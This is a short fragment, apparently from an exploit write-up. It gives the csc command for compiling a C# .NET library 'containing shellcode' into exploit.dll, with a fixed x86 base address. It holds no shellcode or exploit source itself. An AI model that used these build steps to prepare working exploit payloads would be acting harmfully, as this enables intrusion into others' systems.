Compile the c# .net binary which contains shellcode with the following instruction on VS environment:

CSC /nologo /target:library /platform:x86 /noconfig /baseaddress:0x24240000 /reference:C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\System.dll /reference:C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\System.Windows.Forms.dll /out:exploit.dll exploit.cs